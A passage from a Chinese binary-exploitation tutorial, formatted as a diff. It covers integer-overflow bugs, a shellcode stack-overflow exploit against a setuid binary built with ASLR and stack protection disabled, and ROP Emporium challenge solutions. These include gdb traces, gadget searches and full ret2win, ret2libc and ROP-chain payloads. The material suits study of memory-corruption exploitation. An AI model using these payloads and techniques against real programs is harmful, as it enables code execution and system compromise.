+ 0x00000613 <+166>: add eax,edx
+ 0x00000615 <+168>: sub esp,0x4
+ 0x00000618 <+171>: push 0x20
+ 0x0000061a <+173>: push eax
+ 0x0000061b <+174>: lea eax,[ebx-0x18ea]
+ 0x00000621 <+180>: push eax
+ 0x00000622 <+181>: call 0x3f0 <printf@plt>
+ 0x00000627 <+186>: add esp,0x10
+ 0x0000062a <+189>: nop
+ 0x0000062b <+190>: lea esp,[ebp-0x8]
+ 0x0000062e <+193>: pop ecx
+ 0x0000062f <+194>: pop ebx
+ 0x00000630 <+195>: pop ebp
+ 0x00000631 <+196>: lea esp,[ecx-0x4]
+ 0x00000634 <+199>: ret
+End of assembler dump.
+
+在整数转换的过程中,有可能导致下面的错误:
+我们说过整数溢出要配合上其他类型的缺陷才能有用,下面的两个函数都有一个 size_t
类型的参数,常常被误用而产生整数溢出,接着就可能导致缓冲区溢出漏洞。
#include <string.h>
+
+void *memcpy(void *dest, const void *src, size_t n);
+
+memcpy()
函数将 src
所指向的字符串中以 src
地址开始的前 n
个字节复制到 dest
所指的数组中,并返回 dest
。
#include <string.h>
+
+char *strncpy(char *dest, const char *src, size_t n);
+
+strncpy()
函数从源 src
所指的内存地址的起始位置开始复制 n
个字节到目标 dest
所指的内存地址的起始位置中。
两个函数中都有一个类型为 size_t
的参数,它是无符号整型的 sizeof
运算符的结果。
typedef unsigned int size_t;
+
+现在我们已经知道了整数溢出的原理和主要形式,下面我们先看几个简单示例,然后实际操作利用一个整数溢出漏洞。
+示例一,整数转换:
+char buf[80];
+void vulnerable() {
+ int len = read_int_from_network();
+ char *p = read_string_from_network();
+ if (len > 80) {
+ error("length too large: bad dog, no cookie for you!");
+ return;
+ }
+ memcpy(buf, p, len);
+}
+
+这个例子的问题在于,如果攻击者给 len
赋于了一个负数,则可以绕过 if
语句的检测,而执行到 memcpy()
的时候,由于第三个参数是 size_t
类型,负数 len
会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 buf
中,引发了缓冲区溢出。
示例二,回绕和溢出:
+void vulnerable() {
+ size_t len;
+ // int len;
+ char* buf;
+
+ len = read_int_from_network();
+ buf = malloc(len + 5);
+ read(fd, buf, len);
+ ...
+}
+
+这个例子看似避开了缓冲区溢出的问题,但是如果 len
过大,len+5
有可能发生回绕。比如说,在 x86-32 上,如果 len = 0xFFFFFFFF
,则 len+5 = 0x00000004
,这时 malloc()
只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 len
声明为有符号 int
类型,len+5
可能发生溢出)
示例三,截断:
+void main(int argc, char *argv[]) {
+ unsigned short int total;
+ total = strlen(argv[1]) + strlen(argv[2]) + 1;
+ char *buf = (char *)malloc(total);
+ strcpy(buf, argv[1]);
+ strcat(buf, argv[2]);
+ ...
+}
+
+这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 total
表示,则会发生截断,从而导致后面的缓冲区溢出。
看了上面的示例,我们来真正利用一个整数溢出漏洞。源码
+#include<stdio.h>
+#include<string.h>
+void validate_passwd(char *passwd) {
+ char passwd_buf[11];
+ unsigned char passwd_len = strlen(passwd);
+ if(passwd_len >= 4 && passwd_len <= 8) {
+ printf("good!\n");
+ strcpy(passwd_buf, passwd);
+ } else {
+ printf("bad!\n");
+ }
+}
+
+int main(int argc, char *argv[]) {
+ if(argc != 2) {
+ printf("error\n");
+ return 0;
+ }
+ validate_passwd(argv[1]);
+}
+
+上面的程序中 strlen()
返回类型是 size_t
,却被存储在无符号字符串类型中,任意超过无符号字符串最大上限值(256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5,成功绕过了 if
的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。
编译命令:
+# echo 0 > /proc/sys/kernel/randomize_va_space
+$ gcc -g -fno-stack-protector -z execstack vuln.c
+$ sudo chown root vuln
+$ sudo chgrp root vuln
+$ sudo chmod +s vuln
+
+使用 gdb 反汇编 validate_passwd
函数。
gdb-peda$ disassemble validate_passwd
+Dump of assembler code for function validate_passwd:
+ 0x0000059d <+0>: push ebp ; 压入 ebp
+ 0x0000059e <+1>: mov ebp,esp
+ 0x000005a0 <+3>: push ebx ; 压入 ebx
+ 0x000005a1 <+4>: sub esp,0x14
+ 0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx>
+ 0x000005a9 <+12>: add ebx,0x1a57
+ 0x000005af <+18>: sub esp,0xc
+ 0x000005b2 <+21>: push DWORD PTR [ebp+0x8]
+ 0x000005b5 <+24>: call 0x430 <strlen@plt>
+ 0x000005ba <+29>: add esp,0x10
+ 0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9]
+ 0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3
+ 0x000005c4 <+39>: jbe 0x5f2 <validate_passwd+85>
+ 0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8
+ 0x000005ca <+45>: ja 0x5f2 <validate_passwd+85>
+ 0x000005cc <+47>: sub esp,0xc
+ 0x000005cf <+50>: lea eax,[ebx-0x1910]
+ 0x000005d5 <+56>: push eax
+ 0x000005d6 <+57>: call 0x420 <puts@plt>
+ 0x000005db <+62>: add esp,0x10
+ 0x000005de <+65>: sub esp,0x8
+ 0x000005e1 <+68>: push DWORD PTR [ebp+0x8]
+ 0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址
+ 0x000005e7 <+74>: push eax ; 压入 passwd_buf
+ 0x000005e8 <+75>: call 0x410 <strcpy@plt>
+ 0x000005ed <+80>: add esp,0x10
+ 0x000005f0 <+83>: jmp 0x604 <validate_passwd+103>
+ 0x000005f2 <+85>: sub esp,0xc
+ 0x000005f5 <+88>: lea eax,[ebx-0x190a]
+ 0x000005fb <+94>: push eax
+ 0x000005fc <+95>: call 0x420 <puts@plt>
+ 0x00000601 <+100>: add esp,0x10
+ 0x00000604 <+103>: nop
+ 0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4]
+ 0x00000608 <+107>: leave
+ 0x00000609 <+108>: ret
+End of assembler dump.
+
+通过阅读反汇编代码,我们知道缓冲区 passwd_buf
位于 ebp=0x14
的位置(0x000005e4 <+71>: lea eax,[ebp-0x14]
),而返回地址在 ebp+4
的位置,所以返回地址相对于缓冲区 0x18
的位置。我们测试一下:
gdb-peda$ r `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
+Starting program: /home/a.out `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
+good!
+
+Program received signal SIGSEGV, Segmentation fault.
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd0f4 ('A' <repeats 24 times>, "BBBB", 'C' <repeats 172 times>...)
+EBX: 0x41414141 ('AAAA')
+ECX: 0xffffd490 --> 0x534c0043 ('C')
+EDX: 0xffffd1f8 --> 0xffff0043 --> 0x0
+ESI: 0xf7f95000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0x41414141 ('AAAA')
+ESP: 0xffffd110 ('C' <repeats 200 times>...)
+EIP: 0x42424242 ('BBBB')
+EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+Invalid $PC address: 0x42424242
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd110 ('C' <repeats 200 times>...)
+0004| 0xffffd114 ('C' <repeats 200 times>...)
+0008| 0xffffd118 ('C' <repeats 200 times>...)
+0012| 0xffffd11c ('C' <repeats 200 times>...)
+0016| 0xffffd120 ('C' <repeats 200 times>...)
+0020| 0xffffd124 ('C' <repeats 200 times>...)
+0024| 0xffffd128 ('C' <repeats 200 times>...)
+0028| 0xffffd12c ('C' <repeats 200 times>...)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+Stopped reason: SIGSEGV
+0x42424242 in ?? ()
+
+可以看到 EIP
被 BBBB
覆盖,相当于我们获得了返回地址的控制权。构建下面的 payload:
from pwn import *
+
+ret_addr = 0xffffd118 # ebp = 0xffffd108
+shellcode = shellcraft.i386.sh()
+
+payload = "A" * 24
+payload += p32(ret_addr)
+payload += "\x90" * 20
+payload += asm(shellcode)
+payload += "C" * 169 # 24 + 4 + 20 + 44 + 169 = 261
+
+返回导向编程(Return-Oriented Programming,缩写:ROP)是一种高级的内存攻击技术,该技术允许攻击者在现代操作系统的各种通用防御下执行代码,如内存不可执行和代码签名等。这类攻击往往利用操作堆栈调用时的程序漏洞,通常是缓冲区溢出。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(gadgets),每一段 gadget 通常以 return 指令(ret
,机器码为c3
)结束,并位于共享库代码中的子程序中。通过执行这些指令序列,也就控制了程序的执行。
ret
指令相当于 pop eip
。即,首先将 esp
指向的 4 字节内容读取并赋值给 eip
,然后 esp
加上 4 字节指向栈的下一个位置。如果当前执行的指令序列仍然以 ret
指令结束,则这个过程将重复, esp
再次增加并且执行下一个指令序列。
理论上我们是可以这样寻找 gadgets 的,但实际上有很多工具可以完成这个工作,如 ROPgadget,Ropper 等。更完整的搜索可以使用 http://ropshell.com/。
+对于 gadgets 能做的事情,基本上只要你敢想,它就敢执行。下面简单介绍几种用法:
+pop eax; ret
mov ecx,[eax]; ret
mov [eax],ecx; ret
add eax,ebx; ret
, xor edx,edx; ret
int 0x80; ret
, call gs:[0x10]; ret
leave; ret
, pop ebp; ret
ROP Emporium 提供了一系列用于学习 ROP 的挑战,每一个挑战都介绍了一个知识,难度也逐渐增加,是循序渐进学习 ROP 的好资料。ROP Emporium 还有个特点是它专注于 ROP,所有挑战都有相同的漏洞点,不同的只是 ROP 链构造的不同,所以不涉及其他的漏洞利用和逆向的内容。每个挑战都包含了 32 位和 64 位的程序,通过对比能帮助我们理解 ROP 链在不同体系结构下的差异,例如参数的传递等。这篇文章我们就从这些挑战中来学习吧。
+这些挑战都包含一个 flag.txt
的文件,我们的目标就是通过控制程序执行,来打印出文件中的内容。当然你也可以尝试获得 shell。
通常情况下,对于一个有缓冲区溢出的程序,我们通常先输入一定数量的字符填满缓冲区,然后是精心构造的 ROP 链,通过覆盖堆栈上保存的返回地址来实现函数跳转(关于缓冲区溢出请查看上一章 3.1.3栈溢出)。
+第一个挑战我会尽量详细一点,因为所有挑战程序都有相似的结构,缓冲区大小都一样,我们看一下漏洞函数:
+gdb-peda$ disassemble pwnme
+Dump of assembler code for function pwnme:
+ 0x080485f6 <+0>: push ebp
+ 0x080485f7 <+1>: mov ebp,esp
+ 0x080485f9 <+3>: sub esp,0x28
+ 0x080485fc <+6>: sub esp,0x4
+ 0x080485ff <+9>: push 0x20
+ 0x08048601 <+11>: push 0x0
+ 0x08048603 <+13>: lea eax,[ebp-0x28]
+ 0x08048606 <+16>: push eax
+ 0x08048607 <+17>: call 0x8048460 <memset@plt>
+ 0x0804860c <+22>: add esp,0x10
+ 0x0804860f <+25>: sub esp,0xc
+ 0x08048612 <+28>: push 0x804873c
+ 0x08048617 <+33>: call 0x8048420 <puts@plt>
+ 0x0804861c <+38>: add esp,0x10
+ 0x0804861f <+41>: sub esp,0xc
+ 0x08048622 <+44>: push 0x80487bc
+ 0x08048627 <+49>: call 0x8048420 <puts@plt>
+ 0x0804862c <+54>: add esp,0x10
+ 0x0804862f <+57>: sub esp,0xc
+ 0x08048632 <+60>: push 0x8048821
+ 0x08048637 <+65>: call 0x8048400 <printf@plt>
+ 0x0804863c <+70>: add esp,0x10
+ 0x0804863f <+73>: mov eax,ds:0x804a060
+ 0x08048644 <+78>: sub esp,0x4
+ 0x08048647 <+81>: push eax
+ 0x08048648 <+82>: push 0x32
+ 0x0804864a <+84>: lea eax,[ebp-0x28]
+ 0x0804864d <+87>: push eax
+ 0x0804864e <+88>: call 0x8048410 <fgets@plt>
+ 0x08048653 <+93>: add esp,0x10
+ 0x08048656 <+96>: nop
+ 0x08048657 <+97>: leave
+ 0x08048658 <+98>: ret
+End of assembler dump.
+gdb-peda$ disassemble ret2win
+Dump of assembler code for function ret2win:
+ 0x08048659 <+0>: push ebp
+ 0x0804865a <+1>: mov ebp,esp
+ 0x0804865c <+3>: sub esp,0x8
+ 0x0804865f <+6>: sub esp,0xc
+ 0x08048662 <+9>: push 0x8048824
+ 0x08048667 <+14>: call 0x8048400 <printf@plt>
+ 0x0804866c <+19>: add esp,0x10
+ 0x0804866f <+22>: sub esp,0xc
+ 0x08048672 <+25>: push 0x8048841
+ 0x08048677 <+30>: call 0x8048430 <system@plt>
+ 0x0804867c <+35>: add esp,0x10
+ 0x0804867f <+38>: nop
+ 0x08048680 <+39>: leave
+ 0x08048681 <+40>: ret
+End of assembler dump.
+
+函数 pwnme()
是存在缓冲区溢出的函数,它调用 fgets()
读取任意数据,但缓冲区的大小只有 40 字节(0x0804864a <+84>: lea eax,[ebp-0x28]
,0x28=40),当输入大于 40 字节的数据时,就可以覆盖掉调用函数的 ebp 和返回地址:
gdb-peda$ pattern_create 50
+'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
+gdb-peda$ r
+Starting program: /home/firmy/Desktop/rop_emporium/ret2win32/ret2win32
+ret2win by ROP Emporium
+32bits
+
+For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
+What could possibly go wrong?
+You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
+
+> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
+
+Program received signal SIGSEGV, Segmentation fault.
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+EBX: 0x0
+ECX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+EDX: 0xf7f90860 --> 0x0
+ESI: 0xf7f8ee28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x41304141 ('AA0A')
+ESP: 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')
+EIP: 0x41414641 ('AFAA')
+EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+Invalid $PC address: 0x41414641
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')
+0004| 0xffffd5f4 --> 0xffffd610 --> 0x1
+0008| 0xffffd5f8 --> 0x0
+0012| 0xffffd5fc --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10)
+0016| 0xffffd600 --> 0xf7f8ee28 --> 0x1d1d30
+0020| 0xffffd604 --> 0xf7f8ee28 --> 0x1d1d30
+0024| 0xffffd608 --> 0x0
+0028| 0xffffd60c --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+Stopped reason: SIGSEGV
+0x41414641 in ?? ()
+gdb-peda$ pattern_offset $ebp
+1093681473 found at offset: 40
+gdb-peda$ pattern_offset $eip
+1094796865 found at offset: 44
+
+缓冲区距离 ebp 和 eip 的偏移分别为 40 和 44,这就验证了我们的假设。
+通过查看程序的逻辑,虽然我们知道 .text 段中存在函数 ret2win()
,但在程序执行中并没有调用到它,我们要做的就是用该函数的地址覆盖返回地址,使程序跳转到该函数中,从而打印出 flag,我们称这一类型的 ROP 为 ret2text。
还有一件重要的事情是 checksec:
+gdb-peda$ checksec
+CANARY : disabled
+FORTIFY : disabled
+NX : ENABLED
+PIE : disabled
+RELRO : Partial
+
+这里开启了关闭了 PIE,所以 .text 的加载地址是不变的,可以直接使用 ret2win()
的地址 0x08048659
。
payload 如下(注这篇文章中的paylaod我会使用多种方法来写,以展示各种工具的使用):
+$ python2 -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32
+...
+> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
+
+现在是 64 位程序:
+gdb-peda$ disassemble pwnme
+Dump of assembler code for function pwnme:
+ 0x00000000004007b5 <+0>: push rbp
+ 0x00000000004007b6 <+1>: mov rbp,rsp
+ 0x00000000004007b9 <+4>: sub rsp,0x20
+ 0x00000000004007bd <+8>: lea rax,[rbp-0x20]
+ 0x00000000004007c1 <+12>: mov edx,0x20
+ 0x00000000004007c6 <+17>: mov esi,0x0
+ 0x00000000004007cb <+22>: mov rdi,rax
+ 0x00000000004007ce <+25>: call 0x400600 <memset@plt>
+ 0x00000000004007d3 <+30>: mov edi,0x4008f8
+ 0x00000000004007d8 <+35>: call 0x4005d0 <puts@plt>
+ 0x00000000004007dd <+40>: mov edi,0x400978
+ 0x00000000004007e2 <+45>: call 0x4005d0 <puts@plt>
+ 0x00000000004007e7 <+50>: mov edi,0x4009dd
+ 0x00000000004007ec <+55>: mov eax,0x0
+ 0x00000000004007f1 <+60>: call 0x4005f0 <printf@plt>
+ 0x00000000004007f6 <+65>: mov rdx,QWORD PTR [rip+0x200873] # 0x601070 <stdin@@GLIBC_2.2.5>
+ 0x00000000004007fd <+72>: lea rax,[rbp-0x20]
+ 0x0000000000400801 <+76>: mov esi,0x32
+ 0x0000000000400806 <+81>: mov rdi,rax
+ 0x0000000000400809 <+84>: call 0x400620 <fgets@plt>
+ 0x000000000040080e <+89>: nop
+ 0x000000000040080f <+90>: leave
+ 0x0000000000400810 <+91>: ret
+End of assembler dump.
+gdb-peda$ disassemble ret2win
+Dump of assembler code for function ret2win:
+ 0x0000000000400811 <+0>: push rbp
+ 0x0000000000400812 <+1>: mov rbp,rsp
+ 0x0000000000400815 <+4>: mov edi,0x4009e0
+ 0x000000000040081a <+9>: mov eax,0x0
+ 0x000000000040081f <+14>: call 0x4005f0 <printf@plt>
+ 0x0000000000400824 <+19>: mov edi,0x4009fd
+ 0x0000000000400829 <+24>: call 0x4005e0 <system@plt>
+ 0x000000000040082e <+29>: nop
+ 0x000000000040082f <+30>: pop rbp
+ 0x0000000000400830 <+31>: ret
+End of assembler dump.
+
+首先与 32 位不同的是参数传递,64 位程序的前六个参数通过 RDI、RSI、RDX、RCX、R8 和 R9 传递。所以缓冲区大小参数通过 rdi 传递给 fgets()
,大小为 32 字节。
而且由于 ret 的地址不存在,程序停在了 => 0x400810 <pwnme+91>: ret
这一步,这是因为 64 位可以使用的内存地址不能大于 0x00007fffffffffff
,否则就会抛出异常。
gdb-peda$ r
+Starting program: /home/firmy/Desktop/rop_emporium/ret2win/ret2win
+ret2win by ROP Emporium
+64bits
+
+For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
+What could possibly go wrong?
+You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
+
+> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
+
+Program received signal SIGSEGV, Segmentation fault.
+[----------------------------------registers-----------------------------------]
+RAX: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+RBX: 0x0
+RCX: 0x1f
+RDX: 0x7ffff7dd4710 --> 0x0
+RSI: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+RDI: 0x7fffffffe401 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+RBP: 0x6141414541412941 ('A)AAEAAa')
+RSP: 0x7fffffffe428 ("AA0AAFAAb")
+RIP: 0x400810 (<pwnme+91>: ret)
+R8 : 0x0
+R9 : 0x7ffff7fb94c0 (0x00007ffff7fb94c0)
+R10: 0x602260 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
+R11: 0x246
+R12: 0x400650 (<_start>: xor ebp,ebp)
+R13: 0x7fffffffe510 --> 0x1
+R14: 0x0
+R15: 0x0
+EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x400809 <pwnme+84>: call 0x400620 <fgets@plt>
+ 0x40080e <pwnme+89>: nop
+ 0x40080f <pwnme+90>: leave
+=> 0x400810 <pwnme+91>: ret
+ 0x400811 <ret2win>: push rbp
+ 0x400812 <ret2win+1>: mov rbp,rsp
+ 0x400815 <ret2win+4>: mov edi,0x4009e0
+ 0x40081a <ret2win+9>: mov eax,0x0
+[------------------------------------stack-------------------------------------]
+0000| 0x7fffffffe428 ("AA0AAFAAb")
+0008| 0x7fffffffe430 --> 0x400062 --> 0x1f8000000000000
+0016| 0x7fffffffe438 --> 0x7ffff7a41f6a (<__libc_start_main+234>: mov edi,eax)
+0024| 0x7fffffffe440 --> 0x0
+0032| 0x7fffffffe448 --> 0x7fffffffe518 --> 0x7fffffffe870 ("/home/firmy/Desktop/rop_emporium/ret2win/ret2win")
+0040| 0x7fffffffe450 --> 0x100000000
+0048| 0x7fffffffe458 --> 0x400746 (<main>: push rbp)
+0056| 0x7fffffffe460 --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+Stopped reason: SIGSEGV
+0x0000000000400810 in pwnme ()
+gdb-peda$ pattern_offset $rbp
+7007954260868540737 found at offset: 32
+gdb-peda$ pattern_offset AA0AAFAAb
+AA0AAFAAb found at offset: 40
+
+re2win()
的地址为 0x0000000000400811
,payload 如下:
from zio import *
+
+payload = "A"*40 + l64(0x0000000000400811)
+
+io = zio('./ret2win')
+io.writeline(payload)
+io.read()
+
+这一题也是 ret2text,但这一次,我们有的是一个 usefulFunction()
函数:
gdb-peda$ disassemble usefulFunction
+Dump of assembler code for function usefulFunction:
+ 0x08048649 <+0>: push ebp
+ 0x0804864a <+1>: mov ebp,esp
+ 0x0804864c <+3>: sub esp,0x8
+ 0x0804864f <+6>: sub esp,0xc
+ 0x08048652 <+9>: push 0x8048747
+ 0x08048657 <+14>: call 0x8048430 <system@plt>
+ 0x0804865c <+19>: add esp,0x10
+ 0x0804865f <+22>: nop
+ 0x08048660 <+23>: leave
+ 0x08048661 <+24>: ret
+End of assembler dump.
+
+它调用 system()
函数,而我们要做的是给它传递一个参数,执行该参数后可以打印出 flag。
使用 radare2 中的工具 rabin2 在 .data
段中搜索字符串:
$ rabin2 -z split32
+...
+vaddr=0x0804a030 paddr=0x00001030 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt
+
+我们发现存在字符串 /bin/cat flag.txt
,这正是我们需要的,地址为 0x0804a030
。
下面构造 payload,这里就有两种方法,一种是直接使用调用 system()
函数的地址 0x08048657
,另一种是使用 system()
的 plt 地址 0x8048430
,在前面的章节中我们已经知道了 plt 的延迟绑定机制(1.5.6动态链接),这里我们再回顾一下:
绑定前:
+gdb-peda$ disassemble system
+Dump of assembler code for function system@plt:
+ 0x08048430 <+0>: jmp DWORD PTR ds:0x804a018
+ 0x08048436 <+6>: push 0x18
+ 0x0804843b <+11>: jmp 0x80483f0
+gdb-peda$ x/5x 0x804a018
+0x804a018: 0x08048436 0x08048446 0x08048456 0x08048466
+0x804a028: 0x00000000
+
+绑定后:
+gdb-peda$ disassemble system
+Dump of assembler code for function system:
+ 0xf7df9c50 <+0>: sub esp,0xc
+ 0xf7df9c53 <+3>: mov eax,DWORD PTR [esp+0x10]
+ 0xf7df9c57 <+7>: call 0xf7ef32cd <__x86.get_pc_thunk.dx>
+ 0xf7df9c5c <+12>: add edx,0x1951cc
+ 0xf7df9c62 <+18>: test eax,eax
+ 0xf7df9c64 <+20>: je 0xf7df9c70 <system+32>
+ 0xf7df9c66 <+22>: add esp,0xc
+ 0xf7df9c69 <+25>: jmp 0xf7df9700 <do_system>
+ 0xf7df9c6e <+30>: xchg ax,ax
+ 0xf7df9c70 <+32>: lea eax,[edx-0x57616]
+ 0xf7df9c76 <+38>: call 0xf7df9700 <do_system>
+ 0xf7df9c7b <+43>: test eax,eax
+ 0xf7df9c7d <+45>: sete al
+ 0xf7df9c80 <+48>: add esp,0xc
+ 0xf7df9c83 <+51>: movzx eax,al
+ 0xf7df9c86 <+54>: ret
+End of assembler dump.
+gdb-peda$ x/5x 0x08048430
+0x8048430 <system@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0
+0x8048440 <__libc_start_main@plt>: 0xa01c25ff
+
+其实这里讲 plt 不是很确切,因为 system 使用太频繁,在我们使用它之前,它就已经绑定了,在后面的挑战中我们会遇到没有绑定的情况。
+两种 payload 如下:
+$ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32
+...
+> ROPE{a_placeholder_32byte_flag!}
+from zio import *
+
+payload = "A"*44
+payload += l32(0x08048430)
+payload += "BBBB"
+payload += l32(0x0804a030)
+
+io = zio('./split32')
+io.writeline(payload)
+io.read()
+
+注意 "BBBB" 是新的返回地址,如果函数 ret,就会执行 "BBBB" 处的指令,通常这里会放置一些 pop;pop;ret
之类的指令地址,以平衡堆栈。从 system() 函数中也能看出来,它现将 esp 减去 0xc,再取地址 esp+0x10 处的指令,也就是 "BBBB" 的后一个,即字符串的地址。因为 system()
是 libc 中的函数,所以这种方法称作 ret2libc。
$ rabin2 -z split
+...
+vaddr=0x00601060 paddr=0x00001060 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt
+
+字符串地址在 0x00601060
。
gdb-peda$ disassemble usefulFunction
+Dump of assembler code for function usefulFunction:
+ 0x0000000000400807 <+0>: push rbp
+ 0x0000000000400808 <+1>: mov rbp,rsp
+ 0x000000000040080b <+4>: mov edi,0x4008ff
+ 0x0000000000400810 <+9>: call 0x4005e0 <system@plt>
+ 0x0000000000400815 <+14>: nop
+ 0x0000000000400816 <+15>: pop rbp
+ 0x0000000000400817 <+16>: ret
+End of assembler dump.
+
+64 位程序的第一个参数通过 edi 传递,所以我们需要再调用一个 gadgets 来将字符串的地址存进 edi。
+我们先找到需要的 gadgets:
+gdb-peda$ ropsearch "pop rdi; ret"
+Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
+0x00400883 : (b'5fc3') pop rdi; ret
+
+下面是 payload:
+$ python2 -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split
+...
+> ROPE{a_placeholder_32byte_flag!}
+
+那我们是否还可以用前面那种方法调用 system()
的 plt 地址 0x4005e0
呢:
gdb-peda$ disassemble system
+Dump of assembler code for function system:
+ 0x00007ffff7a63010 <+0>: test rdi,rdi
+ 0x00007ffff7a63013 <+3>: je 0x7ffff7a63020 <system+16>
+ 0x00007ffff7a63015 <+5>: jmp 0x7ffff7a62a70 <do_system>
+ 0x00007ffff7a6301a <+10>: nop WORD PTR [rax+rax*1+0x0]
+ 0x00007ffff7a63020 <+16>: lea rdi,[rip+0x138fd6] # 0x7ffff7b9bffd
+ 0x00007ffff7a63027 <+23>: sub rsp,0x8
+ 0x00007ffff7a6302b <+27>: call 0x7ffff7a62a70 <do_system>
+ 0x00007ffff7a63030 <+32>: test eax,eax
+ 0x00007ffff7a63032 <+34>: sete al
+ 0x00007ffff7a63035 <+37>: add rsp,0x8
+ 0x00007ffff7a63039 <+41>: movzx eax,al
+ 0x00007ffff7a6303c <+44>: ret
+End of assembler dump.
+
+依然可以,因为参数的传递没有用到栈,我们只需把地址直接更改就可以了:
+from zio import *
+
+payload = "A"*40
+payload += l64(0x00400883)
+payload += l64(0x00601060)
+payload += l64(0x4005e0)
+
+io = zio('./split')
+io.writeline(payload)
+io.read()
+
+这里我们要接触真正的 plt 了,根据题目提示,callme32 从共享库 libcallme32.so 中导入三个特殊的函数:
+$ rabin2 -i callme32 | grep callme
+ordinal=004 plt=0x080485b0 bind=GLOBAL type=FUNC name=callme_three
+ordinal=005 plt=0x080485c0 bind=GLOBAL type=FUNC name=callme_one
+ordinal=012 plt=0x08048620 bind=GLOBAL type=FUNC name=callme_two
+
+我们要做的是依次调用 callme_one()
、callme_two()
和 callme_three()
,并且每个函数都要传入参数 1
、2
、3
。通过调试我们能够知道函数逻辑,callme_one
用于读入加密后的 flag,然后依次调用 callme_two
和 callme_three
进行解密。
由于函数参数是放在栈上的,为了平衡堆栈,我们需要一个 pop;pop;pop;ret
的 gadgets:
$ objdump -d callme32 | grep -A 3 pop
+...
+ 80488a8: 5b pop %ebx
+ 80488a9: 5e pop %esi
+ 80488aa: 5f pop %edi
+ 80488ab: 5d pop %ebp
+ 80488ac: c3 ret
+ 80488ad: 8d 76 00 lea 0x0(%esi),%esi
+...
+
+或者是 add esp, 8; pop; ret
,反正只要能平衡,都可以:
gdb-peda$ ropsearch "add esp, 8"
+Searching for ROP gadget: 'add esp, 8' in: binary ranges
+0x08048576 : (b'83c4085bc3') add esp,0x8; pop ebx; ret
+0x080488c3 : (b'83c4085bc3') add esp,0x8; pop ebx; ret
+
+构造 payload 如下:
+from zio import *
+
+payload = "A"*44
+
+payload += l32(0x080485c0)
+payload += l32(0x080488a9)
+payload += l32(0x1) + l32(0x2) + l32(0x3)
+
+payload += l32(0x08048620)
+payload += l32(0x080488a9)
+payload += l32(0x1) + l32(0x2) + l32(0x3)
+
+payload += l32(0x080485b0)
+payload += l32(0x080488a9)
+payload += l32(0x1) + l32(0x2) + l32(0x3)
+
+io = zio('./callme32')
+io.writeline(payload)
+io.read()
+
+64 位程序不需要平衡堆栈了,只要将参数按顺序依次放进寄存器中就可以了。
+$ rabin2 -i callme | grep callme
+ordinal=004 plt=0x00401810 bind=GLOBAL type=FUNC name=callme_three
+ordinal=008 plt=0x00401850 bind=GLOBAL type=FUNC name=callme_one
